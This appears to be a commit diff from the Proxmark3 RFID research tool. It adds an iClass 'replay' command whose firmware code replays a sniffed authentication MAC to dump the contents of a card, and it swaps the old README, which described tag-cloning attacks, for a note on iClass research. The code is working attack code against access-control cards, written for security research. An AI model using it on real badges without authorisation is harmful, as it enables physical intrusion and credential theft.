mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-01-29 03:17:59 +08:00
Implement replay command.
This commit is contained in:
parent
1801456ede
commit
c3963755b7
9 changed files with 210 additions and 168 deletions
164
README.txt
164
README.txt
|
@ -1,161 +1,7 @@
|
|||
NOTICE:
|
||||
(2014-03-17)
|
||||
Moving the repository from google code to GitHub is up for discussion!
|
||||
Please check out the following thread and post your comments...
|
||||
http://www.proxmark.org/forum/viewtopic.php?id=1902
|
||||
Discussions will close on March 31st.
|
||||
iclass research
|
||||
===============
|
||||
|
||||
INTRO:
|
||||
|
||||
This file contains enough software, logic (for the FPGA), and design
|
||||
documentation for the hardware that you could, at least in theory,
|
||||
do something useful with a proxmark3. It has commands to:
|
||||
|
||||
* read any kind of 125 kHz unidirectional tag
|
||||
* simulate any kind of 125 kHz unidirectional tag
|
||||
|
||||
(This is enough to perform all of the silly cloning attacks, like the
|
||||
ones that I did at the Capitol in Sacramento, or anything involving
|
||||
a Verichip. From a technical standpoint, these are not that exciting,
|
||||
although the `software radio' architecture of the proxmark3 makes it
|
||||
easy and fun to support new formats.)
|
||||
|
||||
As a bonus, I include some code to use the 13.56 MHz hardware, so you can:
|
||||
|
||||
* do anything that a (medium-range) ISO 15693 reader could
|
||||
* read an ISO 14443 tag, if you know the higher-layer protocol
|
||||
* pretend to be an ISO 14443 tag, if you know the higher-layer protocol
|
||||
* snoop on an ISO 14443 transaction
|
||||
|
||||
I am not actively developing any of this. I have other projects that
|
||||
seem to be more useful.
|
||||
|
||||
USING THE PACKAGE:
|
||||
|
||||
The software tools required to build include:
|
||||
|
||||
* cygwin or other unix-like tools for Windows
|
||||
* devkitPro (http://wiki.devkitpro.org/index.php/Getting_Started/devkitARM)
|
||||
* Xilinx's WebPack tools
|
||||
* Modelsim (for test only)
|
||||
* perl
|
||||
|
||||
When installing devkitPro, you only need to install the compiler itself. Additional
|
||||
support libraries are not required.
|
||||
|
||||
Documentation is minimal, but see the doc/ directory for what exists. A
|
||||
previous familiarity with the ARM, with digital signal processing,
|
||||
and with embedded programming in general is assumed.
|
||||
|
||||
The device is used through a specialized command line interface; for
|
||||
example, to clone a Verichip, you might type:
|
||||
|
||||
loread ; this reads the tag, and stores the
|
||||
; raw samples in memory on the ARM
|
||||
|
||||
losamples ; then we download the samples to
|
||||
; the PC
|
||||
|
||||
vchdemod clone ; demodulate the ID, and then put it
|
||||
; back in a format that we can replay
|
||||
|
||||
losim ; and then replay it
|
||||
|
||||
To read an ISO 15693 tag, you might type:
|
||||
|
||||
hiread ; read the tag; this involves sending a
|
||||
; particular command, and then getting
|
||||
; the response (which is stored as raw
|
||||
; samples in memory on the ARM)
|
||||
|
||||
hisamples ; then download those samples to the PC
|
||||
|
||||
hi15demod ; and demod them to bits (and check the
|
||||
; CRC etc. at the same time)
|
||||
|
||||
Notice that in both cases the signal processing mostly happened on the PC
|
||||
side; that is of course not practical for a real reader, but it is easier
|
||||
to initially write your code and debug on the PC side than on the ARM. As
|
||||
long as you use integer math (and I do), it's trivial to port it over
|
||||
when you're done.
|
||||
|
||||
The USB driver and bootloader are documented (and available separately
|
||||
for download, if you wish to use them in another project) at
|
||||
|
||||
http://cq.cx/trivia.pl
|
||||
|
||||
|
||||
OBTAINING HARDWARE:
|
||||
|
||||
Most of the ultra-low-volume contract assemblers that have sprung up
|
||||
(Screaming Circuits, the various cheap Asian suppliers, etc.) could put
|
||||
something like this together with a reasonable yield. A run of around
|
||||
a dozen units is probably cost-effective. The BOM includes (possibly-
|
||||
outdated) component pricing, and everything is available from Digikey
|
||||
and the usual distributors.
|
||||
|
||||
If you've never assembled a modern circuit board by hand, then this is
|
||||
not a good place to start. Some of the components (e.g. the crystals)
|
||||
must not be assembled with a soldering iron, and require hot air.
|
||||
|
||||
The schematics are included; the component values given are not
|
||||
necessarily correct for all situations, but it should be possible to do
|
||||
nearly anything you would want with appropriate population options.
|
||||
|
||||
The printed circuit board artwork is also available, as Gerbers and an
|
||||
Excellon drill file.
|
||||
|
||||
|
||||
FUTURE PLANS, ENHANCEMENTS THAT YOU COULD MAKE:
|
||||
|
||||
At some point I should write software involving a proper real-time
|
||||
operating system for the ARM. I would then provide interrupt-driven
|
||||
drivers for many of the peripherals that are polled now (the USB,
|
||||
the data stream from the FPGA), which would make it easier to develop
|
||||
complex applications.
|
||||
|
||||
It would not be all that hard to implement the ISO 15693 reader properly
|
||||
(with anticollision, all the commands supported, and so on)--the signal
|
||||
processing is already written, so it is all straightforward applications
|
||||
work.
|
||||
|
||||
I have basic support for ISO 14443 as well: a sniffer, a simulated
|
||||
tag, and a reader. It won't do anything useful unless you fill in the
|
||||
high-layer protocol.
|
||||
|
||||
Nicer (i.e., closer-to-optimal) implementations of all kinds of signal
|
||||
processing would be useful as well.
|
||||
|
||||
A practical implementation of the learning-the-tag's-ID-from-what-the-
|
||||
reader-broadcasts-during-anticollision attacks would be relatively
|
||||
straightforward. This would involve some signal processing on the FPGA,
|
||||
but not much else after that.
|
||||
|
||||
It would be neat to write a driver that could stream samples from the A/Ds
|
||||
over USB to the PC, using the full available bandwidth of USB. I am not
|
||||
yet sure what that would be good for, but surely something. This would
|
||||
require a kernel-mode driver under Windows, though, which is more work.
|
||||
|
||||
|
||||
LICENSING:
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
Jonathan Westhues
|
||||
user jwesthues, at host cq.cx
|
||||
|
||||
May 2007, Cambridge MA
|
||||
Implemented "hf iclass replay <MAC>" where MAC is 8-char Hexidecimal MAC.
|
||||
|
||||
Useful to replay a snooped authentication sequence if cc (e-purse) is not correctly updated as per the specification.
|
||||
Currently hardset to only read Page 1.
|
|
@ -858,6 +858,9 @@ void UsbPacketReceived(uint8_t *packet, int len)
|
|||
case CMD_READER_ICLASS:
|
||||
ReaderIClass(c->arg[0]);
|
||||
break;
|
||||
case CMD_READER_ICLASS_REPLAY:
|
||||
ReaderIClass_Replay(c->arg[0], c->d.asBytes);
|
||||
break;
|
||||
#endif
|
||||
|
||||
case CMD_SIMULATE_TAG_HF_LISTEN:
|
||||
|
|
|
@ -190,6 +190,7 @@ void SetDebugIso15693(uint32_t flag);
|
|||
void RAMFUNC SnoopIClass(void);
|
||||
void SimulateIClass(uint8_t arg0, uint8_t *datain);
|
||||
void ReaderIClass(uint8_t arg0);
|
||||
void ReaderIClass_Replay(uint8_t arg0,uint8_t *MAC);
|
||||
|
||||
// hitag2.h
|
||||
void SnoopHitag(uint32_t type);
|
||||
|
|
144
armsrc/iclass.c
144
armsrc/iclass.c
|
@ -45,6 +45,7 @@
|
|||
// same construction as in ISO 14443;
|
||||
// different initial value (CRC_ICLASS)
|
||||
#include "iso14443crc.h"
|
||||
#include "iso15693tools.h"
|
||||
|
||||
static int timeout = 4096;
|
||||
|
||||
|
@ -1476,4 +1477,147 @@ void ReaderIClass(uint8_t arg0) {
|
|||
LED_A_OFF();
|
||||
}
|
||||
|
||||
void ReaderIClass_Replay(uint8_t arg0, uint8_t *MAC) {
|
||||
uint8_t act_all[] = { 0x0a };
|
||||
uint8_t identify[] = { 0x0c };
|
||||
uint8_t select[] = { 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||
uint8_t readcheck_cc[]= { 0x88, 0x02 };
|
||||
uint8_t check[] = { 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||
uint8_t read[] = { 0x0c, 0x00, 0x00, 0x00 };
|
||||
|
||||
uint16_t crc = 0;
|
||||
uint8_t cardsize=0;
|
||||
bool read_success=false;
|
||||
uint8_t mem=0;
|
||||
|
||||
static struct memory_t{
|
||||
int k16;
|
||||
int book;
|
||||
int k2;
|
||||
int lockauth;
|
||||
int keyaccess;
|
||||
} memory;
|
||||
|
||||
uint8_t* resp = (((uint8_t *)BigBuf) + 3560); // was 3560 - tied to other size changes
|
||||
|
||||
// Reset trace buffer
|
||||
memset(trace, 0x44, RECV_CMD_OFFSET);
|
||||
traceLen = 0;
|
||||
|
||||
// Setup SSC
|
||||
FpgaSetupSsc();
|
||||
// Start from off (no field generated)
|
||||
// Signal field is off with the appropriate LED
|
||||
LED_D_OFF();
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
SpinDelay(200);
|
||||
|
||||
SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
|
||||
|
||||
// Now give it time to spin up.
|
||||
// Signal field is on with the appropriate LED
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
|
||||
SpinDelay(200);
|
||||
|
||||
LED_A_ON();
|
||||
|
||||
for(int i=0;i<1;i++) {
|
||||
|
||||
if(traceLen > TRACE_SIZE) {
|
||||
DbpString("Trace full");
|
||||
break;
|
||||
}
|
||||
|
||||
if (BUTTON_PRESS()) break;
|
||||
|
||||
// Send act_all
|
||||
ReaderTransmitIClass(act_all, 1);
|
||||
// Card present?
|
||||
if(ReaderReceiveIClass(resp)) {
|
||||
ReaderTransmitIClass(identify, 1);
|
||||
if(ReaderReceiveIClass(resp) == 10) {
|
||||
// Select card
|
||||
memcpy(&select[1],resp,8);
|
||||
ReaderTransmitIClass(select, sizeof(select));
|
||||
|
||||
if(ReaderReceiveIClass(resp) == 10) {
|
||||
Dbprintf(" Selected CSN: %02x %02x %02x %02x %02x %02x %02x %02x",
|
||||
resp[0], resp[1], resp[2],
|
||||
resp[3], resp[4], resp[5],
|
||||
resp[6], resp[7]);
|
||||
}
|
||||
// Card selected
|
||||
Dbprintf("Readcheck on Sector 2");
|
||||
ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc));
|
||||
if(ReaderReceiveIClass(resp) == 8) {
|
||||
Dbprintf(" CC: %02x %02x %02x %02x %02x %02x %02x %02x",
|
||||
resp[0], resp[1], resp[2],
|
||||
resp[3], resp[4], resp[5],
|
||||
resp[6], resp[7]);
|
||||
}else return;
|
||||
Dbprintf("Authenticate");
|
||||
//for now replay captured auth (as cc not updated)
|
||||
memcpy(check+5,MAC,4);
|
||||
Dbprintf(" AA: %02x %02x %02x %02x",
|
||||
check[5], check[6], check[7],check[8]);
|
||||
ReaderTransmitIClass(check, sizeof(check));
|
||||
if(ReaderReceiveIClass(resp) == 4) {
|
||||
Dbprintf(" AR: %02x %02x %02x %02x",
|
||||
resp[0], resp[1], resp[2],resp[3]);
|
||||
}else {
|
||||
Dbprintf("Error: Authentication Fail!");
|
||||
return;
|
||||
}
|
||||
Dbprintf("Dump Contents");
|
||||
//first get configuration block
|
||||
read_success=false;
|
||||
read[1]=1;
|
||||
uint8_t *blockno=&read[1];
|
||||
crc = iclass_crc16((char *)blockno,1);
|
||||
read[2] = crc >> 8;
|
||||
read[3] = crc & 0xff;
|
||||
while(!read_success){
|
||||
ReaderTransmitIClass(read, sizeof(read));
|
||||
if(ReaderReceiveIClass(resp) == 10) {
|
||||
read_success=true;
|
||||
mem=resp[5];
|
||||
memory.k16= (mem & 0x80);
|
||||
memory.book= (mem & 0x20);
|
||||
memory.k2= (mem & 0x8);
|
||||
memory.lockauth= (mem & 0x2);
|
||||
memory.keyaccess= (mem & 0x1);
|
||||
|
||||
}
|
||||
}
|
||||
if (memory.k16){
|
||||
cardsize=255;
|
||||
}else cardsize=32;
|
||||
//then loop around remaining blocks
|
||||
for(uint8_t j=0; j<cardsize; j++){
|
||||
read_success=false;
|
||||
uint8_t *blockno=&j;
|
||||
//crc_data[0]=j;
|
||||
read[1]=j;
|
||||
crc = iclass_crc16((char *)blockno,1);
|
||||
read[2] = crc >> 8;
|
||||
read[3] = crc & 0xff;
|
||||
while(!read_success){
|
||||
ReaderTransmitIClass(read, sizeof(read));
|
||||
if(ReaderReceiveIClass(resp) == 10) {
|
||||
read_success=true;
|
||||
Dbprintf(" %02x: %02x %02x %02x %02x %02x %02x %02x %02x",
|
||||
j, resp[0], resp[1], resp[2],
|
||||
resp[3], resp[4], resp[5],
|
||||
resp[6], resp[7]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
WDT_HIT();
|
||||
}
|
||||
|
||||
LED_A_OFF();
|
||||
}
|
||||
|
||||
|
||||
|
|
|
@ -219,20 +219,35 @@ int CmdHFiClassReader(const char *Cmd)
|
|||
PrintAndLog("--readertype:%02x", readerType);
|
||||
|
||||
UsbCommand c = {CMD_READER_ICLASS, {readerType}};
|
||||
//memcpy(c.d.asBytes, CSN, 8);
|
||||
SendCommand(&c);
|
||||
|
||||
/*UsbCommand * resp = WaitForResponseTimeout(CMD_ACK, 1500);
|
||||
if (resp != NULL) {
|
||||
uint8_t isOK = resp->arg[0] & 0xff;
|
||||
PrintAndLog("isOk:%02x", isOK);
|
||||
} else {
|
||||
PrintAndLog("Command execute timeout");
|
||||
}*/
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int CmdHFiClassReader_Replay(const char *Cmd)
|
||||
{
|
||||
uint8_t readerType = 0;
|
||||
uint8_t MAC[4]={0x00, 0x00, 0x00, 0x00};
|
||||
|
||||
if (strlen(Cmd)<1) {
|
||||
PrintAndLog("Usage: hf iclass replay <MAC>");
|
||||
PrintAndLog(" sample: hf iclass replay 00112233");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (param_gethex(Cmd, 0, MAC, 8)) {
|
||||
PrintAndLog("MAC must include 8 HEX symbols");
|
||||
return 1;
|
||||
}
|
||||
|
||||
UsbCommand c = {CMD_READER_ICLASS_REPLAY, {readerType}};
|
||||
memcpy(c.d.asBytes, MAC, 4);
|
||||
SendCommand(&c);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static command_t CommandTable[] =
|
||||
{
|
||||
{"help", CmdHelp, 1, "This help"},
|
||||
|
@ -240,6 +255,7 @@ static command_t CommandTable[] =
|
|||
{"snoop", CmdHFiClassSnoop, 0, "Eavesdrop iClass communication"},
|
||||
{"sim", CmdHFiClassSim, 0, "Simulate iClass tag"},
|
||||
{"reader", CmdHFiClassReader, 0, "Read an iClass tag"},
|
||||
{"replay", CmdHFiClassReader_Replay, 0, "Read an iClass tag via Reply Attack"},
|
||||
{NULL, NULL, 0, NULL}
|
||||
};
|
||||
|
||||
|
|
|
@ -18,5 +18,6 @@ int CmdHFiClassSnoop(const char *Cmd);
|
|||
int CmdHFiClassSim(const char *Cmd);
|
||||
int CmdHFiClassList(const char *Cmd);
|
||||
int CmdHFiClassReader(const char *Cmd);
|
||||
int CmdHFiClassReader_Replay(const char *Cmd);
|
||||
|
||||
#endif
|
||||
|
|
|
@ -12,6 +12,9 @@
|
|||
#include <stdlib.h>
|
||||
//#include "iso15693tools.h"
|
||||
|
||||
#define POLY 0x8408
|
||||
|
||||
|
||||
// The CRC as described in ISO 15693-Part 3-Annex C
|
||||
// v buffer with data
|
||||
// n length
|
||||
|
@ -63,5 +66,31 @@ char* Iso15693sprintUID(char *target,uint8_t *uid) {
|
|||
return target;
|
||||
}
|
||||
|
||||
unsigned short iclass_crc16(char *data_p, unsigned short length)
|
||||
{
|
||||
unsigned char i;
|
||||
unsigned int data;
|
||||
unsigned int crc = 0xffff;
|
||||
|
||||
if (length == 0)
|
||||
return (~crc);
|
||||
|
||||
do
|
||||
{
|
||||
for (i=0, data=(unsigned int)0xff & *data_p++;
|
||||
i < 8;
|
||||
i++, data >>= 1)
|
||||
{
|
||||
if ((crc & 0x0001) ^ (data & 0x0001))
|
||||
crc = (crc >> 1) ^ POLY;
|
||||
else crc >>= 1;
|
||||
}
|
||||
} while (--length);
|
||||
|
||||
crc = ~crc;
|
||||
data = crc;
|
||||
crc = (crc << 8) | (data >> 8 & 0xff);
|
||||
crc = crc ^ 0xBC3;
|
||||
return (crc);
|
||||
}
|
||||
|
||||
|
|
|
@ -70,6 +70,7 @@
|
|||
uint16_t Iso15693Crc(uint8_t *v, int n);
|
||||
int Iso15693AddCrc(uint8_t *req, int n);
|
||||
char* Iso15693sprintUID(char *target,uint8_t *uid);
|
||||
unsigned short iclass_crc16(char *data_p, unsigned short length);
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Map a sequence of octets (~layer 2 command) into the set of bits to feed
|
||||
|
|
|
@ -116,6 +116,7 @@ typedef struct {
|
|||
#define CMD_SNOOP_ICLASS 0x0392
|
||||
#define CMD_SIMULATE_TAG_ICLASS 0x0393
|
||||
#define CMD_READER_ICLASS 0x0394
|
||||
#define CMD_READER_ICLASS_REPLAY 0x0395
|
||||
|
||||
// For measurements of the antenna tuning
|
||||
#define CMD_MEASURE_ANTENNA_TUNING 0x0400
|
||||
|
|
Loading…
Reference in a new issue